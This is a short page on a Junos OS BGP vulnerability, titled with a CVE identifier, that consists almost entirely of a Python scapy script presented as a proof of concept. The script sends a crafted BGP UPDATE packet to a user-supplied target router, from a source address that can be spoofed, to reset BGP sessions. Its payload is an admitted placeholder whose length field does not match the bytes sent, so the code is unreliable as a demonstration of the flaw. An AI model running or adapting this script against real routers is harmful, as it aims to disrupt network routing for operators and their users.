CVE-2026-33797 Junos OS BGP输入验证漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33797 # Description: Sends a crafted BGP packet to trigger a DoS condition. # Note: This is a conceptual demonstration. The specific packet structure # causing the reset depends on the 'specific genuine BGP packet' mentioned. from scapy.all import * import sys def send_bgp_poc(target_ip, src_ip): # BGP Marker (16 bytes) marker = b'\xFF' * 16 # Construct a BGP Update packet (Type 2) # Vulnerability description implies a specific 'genuine' packet causes reset. # This script sends a malformed/ crafted UPDATE to simulate the trigger. bgp_type = 2 # Placeholder for the specific payload that triggers the vulnerability # In a real exploit, this payload would be exactly the 'specific' packet. payload = marker + struct.pack('!H', 23) + struct.pack('!B', bgp_type) # IP and TCP layers ip = IP(src=src_ip, dst=target_ip) tcp = TCP(sport=179, dport=179, flags="PA", seq=1000, ack=1000) packet = ip / tcp / payload print(f"[*] Sending BGP PoC packet to {target_ip} from {src_ip}") send(packet, verbose=0) print("[+] Packet sent. Check BGP session status.") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <target_ip> <source_ip>") sys.exit(1) target = sys.argv[1] source = sys.argv[2] send_bgp_poc(target, source)